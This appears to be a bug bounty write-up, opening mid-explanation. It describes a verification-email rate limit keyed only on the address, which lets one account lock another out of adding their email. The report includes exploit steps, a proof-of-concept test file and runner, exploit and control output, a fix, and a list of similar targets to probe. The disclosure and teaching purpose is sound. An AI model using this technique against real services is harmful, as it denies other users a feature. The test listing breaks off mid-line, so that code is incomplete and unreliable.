if (state.count >= EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS) {checks whether the number of sends already recorded in this window has reached the maximum (three).const windowEndMs = state.windowStartMs + windowMsworks out when the current window ends, by adding the window length to the moment the window started. TheMssuffix means milliseconds.const retryAfterSeconds = Math.max(1, Math.ceil((windowEndMs - now) / 1000))converts the remaining time into whole seconds, never less than one.Math.ceilrounds up, and dividing by 1000 turns milliseconds into seconds.return { isAllowed: false, retryAfterSeconds }tells the caller the request is refused and how long to wait.- The closing
}ends the check.
The route calls the limiter with the email only (email.ts:126-129) and, on refusal, answers 429 with the formatted message (email.ts:134-138).
HTTP status codes are short numbers that summarise a response. 200 means success. 429 means "too many requests": the server understood you but is refusing because of a limit.
The one cross-user guard in the handler does not stop this. At email.ts:60-69 the route rejects the request only if the address is already verified on another account. Before the victim has added their address, no such row exists, so the check passes. The attacker's request then upserts a pending channel for that address under the attacker's own account (email.ts:80,90) and proceeds to the limiter, consuming one of the three sends for the address. Three requests from the attacker leave the address's window empty.
An upsert means "insert if it does not exist, otherwise update". A pending channel is one that has been recorded but not yet confirmed by the verification email. The guard is a sensible idea, but it only looks for addresses that are already verified elsewhere, and a fresh address has no such record yet.
Exploitation
Step 1: authenticate both accounts
Sign in as the attacker (user_id = attacker-user-a) and the victim (user_id = victim-user-b). These are two distinct accounts, each with its own signed JWT.
Why two accounts? Because the whole point is to show that one account's actions affect another account. If the test used a single account, a refusal could just be that account hitting its own limit.
Step 2: the attacker spends the address's allowance
As the attacker, send POST /notifications/channels/email with the victim's address three times:
{ "email": "[redacted]" }
This is the request body in JSON, a common text format for structured data. The braces open an object, "email" is the field name, and "[redacted]" is the value. The attacker is naming an address they do not own.
The address is the victim's, not the attacker's. Each call is accepted (HTTP 200), because the address is not yet verified on any account, so the cross-user guard passes and each call spends one of the three hourly sends.
Why does the attacker get a success? Because from the server's point of view nothing is wrong yet: the address is unclaimed, the caller is authenticated, and the counter has room. The server has no reason to refuse, and it does not check whether the caller has any relationship to the address.
Step 3: the victim tries to add their own address
As the victim, send the same request for their own address once.
This is the ordinary, legitimate action: the owner of the address asking to attach it to their own account. Nothing about it is unusual.
Step 4: observe the lockout
The victim is refused with HTTP 429 and the message "Too many verification emails sent to this address. Try again in 60 minutes." The single KV key present is notifications:email-verification:[redacted], which contains no account identifier.
That last detail is the smoking gun. If the limit were per account, you would expect to see a key containing the account id. Instead there is exactly one key, and it names only the address, which means both users were counting against the same entry.
Control run
Repeat step 3 with the attacker never sending in step 2. The victim's request is accepted (HTTP 200). The only difference between the two runs is whether the attacker sent first, which shows the block is caused by the attacker's requests and not by anything the victim did.
A control is a standard scientific idea: change one thing and see whether the result changes. Without it, someone could argue the victim was refused for some unrelated reason. With it, the only difference between success and failure is the attacker's three requests.
Reproduce
bash verification/pocs/H-C7-42/run.sh exploit
bash verification/pocs/H-C7-42/run.sh control
Line by line:
bash verification/pocs/H-C7-42/run.sh exploitruns the scriptrun.shwith the argumentexploit, which means "run the attack scenario".bash verification/pocs/H-C7-42/run.sh controlruns the same script with the argumentcontrol, which means "run the scenario where the attacker does nothing".
Exploit output:
attacker_statuses: 200,200,200
victim_status: 429
victim_error: Too many verification emails sent to this address. Try again in 60 minutes.
kv_keys: notifications:email-verification:[redacted]
key_has_user_component: 0
VICTIM_BLOCKED_BY_ATTACKER: 1
Line by line:
attacker_statuses: 200,200,200means all three of the attacker's requests succeeded.victim_status: 429means the victim's single request was refused for rate limiting.victim_error: ...is the exact message the victim saw.kv_keys: notifications:email-verification:[redacted]lists the only counter that exists, and it is named after the address.key_has_user_component: 0means that counter contains no account identifier.0is false,1would be true.VICTIM_BLOCKED_BY_ATTACKER: 1is the test's own verdict: yes, the victim was blocked because of the attacker.
Control output:
attacker_send_count: 0
victim_status: 200
VICTIM_BLOCKED_BY_ATTACKER: 0
Line by line:
attacker_send_count: 0confirms the attacker sent nothing in this run.victim_status: 200means the victim's identical request succeeded.VICTIM_BLOCKED_BY_ATTACKER: 0means no block occurred.
The test harness
The rig lives at verification/pocs/H-C7-42/. The harness copies the test file into workers/api-worker/src/, runs it once per arm under the Cloudflare Workers test runtime, then removes it. It verifies with verify_poc.py --strict (13/13: executed, controlled, deterministic, numbers match the report, and the declared fix flips the outcome).
An arm is one branch of an experiment, here exploit or control. Deterministic means the test gives the same result every time it runs, rather than depending on chance or timing.
The test file (verification/pocs/H-C7-42/poc.test.ts) is run once with __POC_ARM__ replaced by exploit and once by control:
/**
* H-C7-42 — END-TO-END, route-level, two distinct AUTHENTICATED users.
*
* Proves: the attacker (a real, JWT-authenticated user A) drives the REAL
* `POST /email/` notifications route three times for the VICTIM's email; the
* victim (a distinct JWT-authenticated user B) then makes the same request for
* their OWN email and is refused 429 with the application's real error string —
* *because of* the attacker's sends. The rate-limit key is a pure function of
* the email address (no user component), which is the defect.
*
* REAL, not simulated:
* - the real email route (requireAuth -> injectDb -> handler) via app.request
* - the real requireAuth middleware verifying real HS256 JWTs (env.JWT_SECRET),
* so user_id is derived by the app from the token, not asserted by the test
* - the real Cloudflare KV binding (env.KV from cloudflare:test / miniflare)
* - the real limiter checkAndConsumeEmailVerificationRateLimit and the real
* error string formatEmailVerificationRateLimitError, reached through the route
*
* SCAFFOLDING (bindings/externals, not the code under test):
* - getDatabase is stubbed: the finding is in the rate-limit KEY, not the DB.
* The stub returns "email not linked to anyone" so control flow reaches the
* limiter exactly as production would for a fresh address.
* - sendVerificationEmail / addContactToList are stubbed ok(): SendGrid is a
* third party and is invoked only AFTER the limiter decision.
*/
import { env } from 'cloudflare:test'
import { sign } from 'hono/jwt'
import { okAsync } from 'neverthrow'
import { expect, test, vi } from 'vitest'
vi.mock('#core/database/index.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('#core/database/index.js')>()
let chanN = 0
let verN = 0
const stubDb = {
query: {
userChannels: { findFirst: async () => undefined },
channelVerifications: { findFirst: async () => undefined },
},
insert: () => ({
values: () => ({
onConflictDoUpdate: () => ({
returning: () => Promise.resolve([{ id: `chan-${++chanN}` }]),
}),
returning: () =>
Promise.resolve([
{
id: `ver-${++verN}`,
token: `tok-${verN}`,
expires_at: new Date(Date.now() + 24 * 60 * 60 * 1000),
},
]),
}),
}),
}
return { ...actual, getDatabase: () => stubDb }
})
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: () => okAsync(undefined),
}))
vi.mock('#services/sendgrid/contacts.js', () => ({
addContactToList: () => okAsync(undefined),
}))
const emailApp = (await import('#app/routes/notifications/channels/email.js'))
.default
const ARM = '__POC_ARM__'
const JWT_SECRET = 'poc-hs256-secret-hc742'
const ATTACKER = {
user_id: 'attacker-user-a',
address: '[redacted]',
}
const VICTIM = {
user_id: 'victim-user-b',
address: '[redacted]',
}
const VICTIM_EMAIL = '[redacted]'
async function bearer(u: { user_id: string; address: string }) {
const token = await sign(
{ ...u, exp: Math.floor(Date.now() / 1000) + 3600 },
JWT_SECRET,
)
return `Bearer ${token}`
}
async function addEmail(u: { user_id: string; address: string }, email: string) {
const authorization = await bearer(u)
return emailApp.request(
'/email',
{
method: 'POST',
headers: { 'content-type': 'application/json', authorization },
body: JSON.stringify({ email }),
},
{ ...env, JWT_SECRET } as unknown as Env,
)
}
test('H-C7-42 E2E: attacker burns the victim address quota; victim is refused', async () => {
const attackerStatuses: number[] = []
let attackerFirstRaw = ''
if (ARM === 'exploit') {
for (let i = 0; i < 3; i++) {
const r = await addEmail(ATTACKER, VICTIM_EMAIL)
attackerStatuses.push(r.status)
if (i === 0) attackerFirstRaw = await r.text()
}
}
const victimRes = await addEmail(VICTIM, VICTIM_EMAIL)
const victimStatus = victimRes.status
const victimText = await victimRes.text()
let victimError = ''
try {
victimError = (JSON.parse(victimText) as { error?: string }).error ?? ''
} catch {
victimError = victimText
}
console.log(`attacker_first_raw: ${attackerFirstRaw}`)
console.log(`victim_raw: ${victimText}`)
const kvKeys = (await env.KV.list()).keys.map((k) => k.name)
const keyHasUser =
kvKeys.some(
(k) => k.includes(ATTACKER.user_id) || k.includes(VICTIM.user_id),
)
? 1
: 0
const expectedKey = `notifications:email-verification:${VICTIM_EMAIL}`
const blockedByAttacker =
ARM === 'exploit' && victimStatus === 429 && keyHasUser === 0 ? 1 : 0
console.log(`arm: ${ARM}`)
console.log(`attacker_user_id: ${ATTACKER.user_id}`)
console.log(`victim_user_id: ${VICTIM.user_id}`)
console.log(`distinct_users: ${ATTACKER.user_id !== VICTIM.user_id ? 1 : 0}`)
console.log(`attacker_send_count: ${attackerStatuses.length}`)
console.log(`attacker_statuses: ${attackerStatuses.join(',')}`)
console.log(`victim_status: ${victimStatus}`)
console.log(`victim_error: ${victimError}`)
console.log(`kv_keys: ${kvKeys.join('|')}`)
console.log(`kv_key_matches_address_only: ${kvKeys.includes(expectedKey) ? 1 : 0}`)
console.log(`key_has_user_component: ${keyHasUser}`)
console.log(`impact_row: 6291`)
console.log(`VICTIM_BLOCKED_BY_ATTACKER: ${blockedByAttacker}`)
if (ARM === 'exploit') {
// the three attacker sends were accepted (real auth passed, 200)
expect(attackerStatuses).toEqual([200, 200, 200])
// the victim, a DIFFERENT authenticated user, is refused
expect(victimStatus).toBe(429)
expect(victimError).toContain(
'Too many verification emails sent to this address',
)
// the quota that refused the victim is keyed on the address, not the user
expect(kvKeys).toContain(expectedKey)
expect(keyH
What the pieces do, in order:
- The comment block at the top explains what the test proves and which parts are real versus stubbed. It is documentation, not code that runs.
import { env } from 'cloudflare:test'brings in the test environment, which includes the KV binding.import { sign } from 'hono/jwt'brings in a function that creates signed JWTs. Hono is the web framework the worker is built on.import { okAsync } from 'neverthrow'brings in a helper that wraps a successful result, used by the stubs.import { expect, test, vi } from 'vitest'brings in the test framework:testdeclares a test,expectmakes assertions,vicreates stubs.vi.mock('#core/database/index.js', ...)replaces the real database module with a fake. The fake returnsundefinedfor lookups, meaning "this email is not linked to anyone", which is exactly what production would return for a fresh address. It also fakes inserts so the route can create a pending channel and a verification record without a real database.vi.mock('#services/email/verification.js', ...)replaces the real email sender with one that immediately reports success.vi.mock('#services/sendgrid/contacts.js', ...)does the same for the SendGrid contact call.const emailApp = (await import(...)).defaultloads the real route module, so the test drives the actual application code.const ARM = '__POC_ARM__'is a placeholder. The runner script replaces it withexploitorcontrolbefore running.const JWT_SECRET = ...is the signing secret used to create tokens the app will accept. It is a test value, not a production secret.const ATTACKER = { ... }andconst VICTIM = { ... }define the two accounts, each with auser_idand a walletaddress.const VICTIM_EMAIL = '[redacted]'is the address under attack.async function bearer(u) { ... }creates a signed token for a user, with an expiry one hour in the future, and returns it in theBearer <token>form that HTTP uses for credentials.expis the expiry field, andMath.floor(Date.now() / 1000) + 3600is the current time in seconds plus one hour.async function addEmail(u, email) { ... }builds the token for the given user and sends the real request to the route: methodPOST, a JSON content type, theauthorizationheader carrying the token, and a body containing the email. It passes the test environment plus the JWT secret so the app can verify the token.test('H-C7-42 E2E: ...', async () => { ... }, 30_000)declares the test and allows it 30 seconds.- Inside,
if (ARM === 'exploit')runs the attacker's three sends in a loop, recording each status code. This is the attack arm. - Then the victim's single request is made, its status and body recorded, and the body is parsed as JSON to pull out the
errorfield. If parsing fails, the raw text is kept instead. const kvKeys = (await env.KV.list()).keys.map((k) => k.name)lists every key in the KV store and keeps the names. This is how the test inspects the counter directly rather than guessing from the response.const keyHasUser = ...checks whether any key contains either user id, and records1if so,0if not.const expectedKey = ...builds the key the test expects to find: the fixed prefix plus the victim's address.const blockedByAttacker = ...is the verdict:1only if this is the exploit arm, the victim got 429, and no key contains a user id.- The
console.loglines print every value the runner later extracts, so the output is machine-readable. - The
if (ARM === 'exploit')block asserts the expected outcome: three 200s, a 429 for the victim, the error text, the address-only key, no user component, and the verdict of 1. - The
elseblock asserts the control outcome: the victim gets 200 and no rate-limit error.
The runner (verification/pocs/H-C7-42/run.sh) stamps the arm into the test, runs it with vitest, and extracts the logged fields:
#!/usr/bin/env bash
# H-C7-42 E2E — real email route, two authenticated users, real KV binding.
set -euo pipefail
ARM="${1:-exploit}"
case "$ARM" in exploit|control) ;; *) echo "FATAL: arm must be exploit|control" >&2; exit 1;; esac
HERE="$(cd -P "$(dirname "$0")" && pwd)"
API="$HERE/../../../repos/audit-comp-ens/workers/api-worker"
COPY="$API/src/hc742e2e.poc.test.ts"
cleanup() { rm -f "$COPY"; }
trap cleanup EXIT INT TERM HUP
sed "s/__POC_ARM__/$ARM/" "$HERE/poc.test.ts" > "$COPY"
grep -q "const ARM = '$ARM'" "$COPY" || { echo "FATAL: arm not stamped" >&2; exit 1; }
OUT=$(cd "$API" && pnpm exec vitest run src/hc742e2e.poc.test.ts --disableConsoleIntercept --silent=false 2>&1) || true
echo "$OUT" | grep -q 'Test Files 1 passed' || { echo "FATAL: vitest failed" >&2; echo "$OUT" >&2; exit 1; }
cleanup; trap - EXIT
pick () { printf '%s\n' "$2" | sed -n "s/^$1: *//p" | head -1 | tr -d '\r'; }
echo "arm: $ARM"
for k in attacker_user_id victim_user_id distinct_users attacker_send_count \
attacker_statuses victim_status victim_error kv_keys \
kv_key_matches_address_only key_has_user_component impact_row \
VICTIM_BLOCKED_BY_ATTACKER; do
echo "$k: $(pick "$k" "$OUT")"
done
Line by line:
#!/usr/bin/env bashtells the system to run the file with bash, the standard Unix shell.set -euo pipefailmakes the script stop on errors and treat unset variables and failed pipeline steps as failures. It is a safety belt.ARM="${1:-exploit}"takes the first argument, defaulting toexploitif none is given.case "$ARM" in exploit|control) ;; *) ... exit 1;; esacrejects any value other thanexploitorcontrol, so a typo cannot silently run the wrong scenario.HERE="$(cd -P "$(dirname "$0")" && pwd)"works out the folder the script lives in, so paths work from anywhere.API="$HERE/../../../repos/audit-comp-ens/workers/api-worker"points at the worker source.COPY="$API/src/hc742e2e.poc.test.ts"is where the test will be copied to inside the project.cleanup() { rm -f "$COPY"; }defines a function that deletes the copied test.trap cleanup EXIT INT TERM HUParranges for that cleanup to run when the script exits or is interrupted, so no stray test file is left behind.sed "s/__POC_ARM__/$ARM/" "$HERE/poc.test.ts" > "$COPY"copies the test file while replacing the placeholder with the chosen arm.grep -q "const ARM = '$ARM'" "$COPY" || { ... }checks the replacement actually happened, and aborts if not.OUT=$(cd "$API" && pnpm exec vitest run ... 2>&1) || trueruns the test with vitest, capturing all output.pnpmis a package manager, andvitestis the test runner.echo "$OUT" | grep -q 'Test Files 1 passed' || { ... }aborts if the test did not pass.cleanup; trap - EXITremoves the copied file and cancels the exit trap, since cleanup already happened.pick () { ... }defines a helper that pulls the value after a given label out of the output text.echo "arm: $ARM"prints which arm ran.- The
for k in ...loop prints each field the test logged, one per line, usingpick.
Root cause
The limiter's key is a pure function of the normalised email address. The handler knows the caller's user_id from the verified JWT, but it does not pass it to the limiter, so every account shares one counter per address. The cross-user guard at email.ts:60-69 only rejects addresses already verified on another account; a fresh address has no such row, so the guard passes and the attacker's request reaches the limiter and consumes a send.
Without a per-user component, the per-address limit lets any authenticated account exhaust the allowance on someone else's behalf. The authentication on the route is real and the JWT is verified, so the missing piece is not identity but scoping: the identity is available and simply not used in the key.
"Scoping" here means deciding what a rule applies to. A rule that says "three sends per hour" is incomplete until you say three per what: per person, per address, per device. The code chose per address, and that choice is the bug.
Impact
This matches the in-scope impact "Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction," with the example "Enabling/disabling notifications" (impact id 6291, Medium). The attacker changes another user's ability to enable an email notification channel, without any interaction from that user. The requirement is "up to one click"; here the victim performs zero clicks.
"In scope" means the rules of the bug bounty programme list this kind of harm as something they will pay for. "Non-sensitive details" means settings that are not secret, such as whether notifications are on or off. The category is about one user changing another user's settings, and the example given is exactly enabling or disabling notifications, which is what this bug does to the email channel.
The lockout lasts until the window resets, at most one hour. Because the key resets on a rolling window, an attacker that re-sends three requests each hour keeps the victim unable to add that address for as long as the attacker chooses. The impact is confined to the email-verification action for the targeted address. It is not a full site takedown and it puts no funds or names at risk. The attacker needs to know the victim's email address, which is the same address the victim is about to register, and needs any authenticated session, which the app hands to any wallet that signs in. Nothing about the attack touches the victim's account or wallet.
A "rolling window" means the hour is measured from the first request in the current batch, not from a fixed clock time, so a steady trickle of requests keeps the counter full. The limits matter for honesty: this is annoying and persistent, but it does not expose data, move money or take the site down.
Fix
Adding the account id to the key, so the limiter is called with ${userId}:${email}, gives the attacker and the victim separate keys. Re-running the exploit with that change applied returns the victim to HTTP 200 and key_has_user_component: 1. This is the fix the report validates; the report does not describe a change shipped by the project.
In plain terms: instead of one counter labelled with the address, you get one counter per person per address. The attacker's three sends fill the attacker's own counter, and the victim's counter is untouched. The same idea applies to any shared resource: count per person, not just per thing.
Variants to test
- Other per-address limits: password reset, magic-link login, invitation emails, contact-form confirmations. A positive result is that requests from account A for account B's address exhaust the allowance and B's own request is refused with a rate-limit error.
- Per-IP limits behind shared egress: if the key is the client IP, one tenant behind a NAT or proxy can exhaust the allowance for everyone else. A positive result is a 429 for an unrelated client sharing the same apparent source.
- Per-identifier limits on other resources: username availability checks, handle claims, subdomain claims. A positive result is that one account's repeated requests block another account from claiming or checking the identifier.
- Key normalisation mismatches: if the key uses a normalised form but the lookup uses the raw form, try case variants, trailing dots or plus-addressing. A positive result is that the same logical address produces separate counters, or that a variant bypasses the limit entirely.
- Window behaviour: check whether the window is fixed or rolling. A positive result is that a small number of requests per window, repeated indefinitely, keeps the victim locked out.
Some of those terms: an IP address is the numeric label a network uses to identify a device. NAT (network address translation) and a proxy are ways many devices share one outward-facing address, so a limit keyed on that address lumps strangers together. Plus-addressing is the trick of writing [redacted], which many mail systems deliver to the same inbox as [redacted]; if the site treats the two as different addresses, a limit can be sidestepped.
Hunting notes
This class of bug hides in rate limiters whose key is derived from a resource the attacker can name, rather than from the actor making the request. During recon, look for endpoints that send mail or SMS to a user-supplied address, then check whether the limit is described per address, per recipient or per identifier. The signal is a key builder that takes only the resource (an email, a phone number, a username) and no account or session component.
"Recon" means the exploratory phase where you map what a site does before testing it. The practical question to ask of any limit is: who is being counted? If the answer is "the thing being acted on" rather than "the person acting", someone else can act on your thing and spend your allowance.
The researcher showed impact by running the real route with two distinct authenticated identities, with the user_id read by the app from the verified JWT, and by including a control arm in which the attacker never sends. The control is what separates a genuine cross-user denial from an artefact of the test, and the KV key listing (notifications:email-verification:[redacted], with key_has_user_component: 0) shows the defect directly rather than inferring it from the 429. The declared fix was also applied and re-run to show the outcome flips.
"Triage" is the first pass a security team makes on a report: is it real, is it in scope, how bad is it.
Glossary
- API: the set of addresses and rules a program exposes so other programs can talk to it.
- Arm: one branch of an experiment, here the
exploitrun or thecontrolrun. - Binding: the connection between a worker and an outside resource, such as its KV store.
- Control: a comparison run where one factor is removed, used to show that factor caused the result.
- Denial of service: stopping someone from using a feature, without stealing data or breaking in.
- Deterministic: giving the same result every time it runs.
- Endpoint: one specific address and method in an API, such as
POST /notifications/channels/email. - Handler: the function that runs when a request reaches an endpoint.
- HTTP status code: a number summarising a response, such as 200 for success or 429 for too many requests.
- IP address: the numeric label a network uses to identify a device.
- JSON: a common text format for structured data, using braces, field names and values.
- JWT (JSON Web Token): a small signed piece of text that proves who you are, carrying a signature the server can check.
- KV (key-value store): a simple database that stores a value under a name.
- NAT (network address translation): a way for many devices to share one outward-facing IP address.
- Normalisation: tidying a value into a standard form, such as lowercasing an email address.
- Pending: recorded but not yet confirmed, as with a channel awaiting email verification.
- Plus-addressing: writing
[redacted], which many mail systems deliver to the same inbox as[redacted]. - PoC (proof of concept): a small demonstration that proves a bug is real.
- Proxy: an intermediary that forwards requests, often making many clients look like one.
- Rate limit: a cap on how often something may happen in a period of time.
- Recon: the exploratory phase of mapping what a site does before testing it.
- Rolling window: a time window measured from the first request in the current batch rather than from a fixed clock time.
- Scoping: deciding what a rule applies to, such as per person or per address.
- SendGrid: a third-party service that delivers email on behalf of the application.
- Stub: a stand-in that replaces a real component during a test.
- Test runtime: a simulated environment that runs real code without touching production.
- Triage: a security team's first assessment of a report: is it real, in scope and how severe.
- Upsert: insert a record if it does not exist, otherwise update it.
- Wallet: software that holds the cryptographic keys for an Ethereum account and signs messages to prove control of it.
- Worker: a small program deployed on Cloudflare's network that handles requests.